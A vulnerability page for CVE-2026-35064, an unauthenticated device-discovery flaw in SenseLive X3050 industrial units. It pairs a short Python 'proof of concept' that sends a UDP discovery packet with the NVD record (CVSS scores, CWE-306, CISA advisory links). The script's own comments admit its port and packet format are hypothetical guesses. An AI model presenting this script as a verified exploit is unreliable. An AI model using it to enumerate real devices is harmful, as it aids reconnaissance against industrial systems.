CVE-2026-35064

# Proof of Concept for CVE-2026-35064 # This script demonstrates how an unauthenticated attacker can discover SenseLive X3050 devices. # Note: The actual protocol port and packet structure are hypothetical based on the description. import socket import struct TARGET_IP = "192.168.1.100" # Replace with target IP or scan a subnet TARGET_PORT = 9999 # Hypothetical port for the management protocol def send_discovery_packet(ip, port): try: # Create a UDP socket (assuming UDP based on 'discovery' nature, could be TCP) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(3) # Construct a hypothetical discovery request packet # Format: Magic Header (4 bytes) + Command (1 byte) packet = struct.pack('!4sB', b'SENS', 0x01) print(f"[*] Sending discovery packet to {ip}:{port}...") sock.sendto(packet, (ip, port)) # Wait for response data, addr = sock.recvfrom(1024) print(f"[+] Response received from {addr}:") print(f" Raw Data: {data}") # Parse response to extract device ID and interface info (Hypothetical parsing) # device_id = data[4:20].decode('utf-8') # print(f" Device ID: {device_id}") sock.close() except socket.timeout: print(f"[-] No response from {ip}:{port}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_discovery_packet(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-35064", "sourceIdentifier": "[email protected]", "published": "2026-04-24T00:16:27.967", "lastModified": "2026-04-28T19:33:33.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in SenseLive X3050’s management ecosystem allows unauthenticated discovery of deployed units through the vendor’s management protocol, enabling identification of device presence, identifiers, and management interfaces without requiring credentials. Because discovery functions are exposed by the underlying service rather than gated by authentication, an attacker on the same network segment can rapidly enumerate targeted devices."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:senselive:x3500_firmware:1.523:*:*:*:*:*:*:*", "matchCriteriaId": "F0A28FFE-3268-48DC-BB85-77009904F0D0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:senselive:x3500:-:*:*:*:*:*:*:*", "matchCriteriaId": "42742F99-96EF-412E-9D7C-8C2155C3DCE1"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-111-12.json", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://senselive.io/contact", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-111-12", "source": "[email protected]", "tags": ["US Government Resource"]}]}}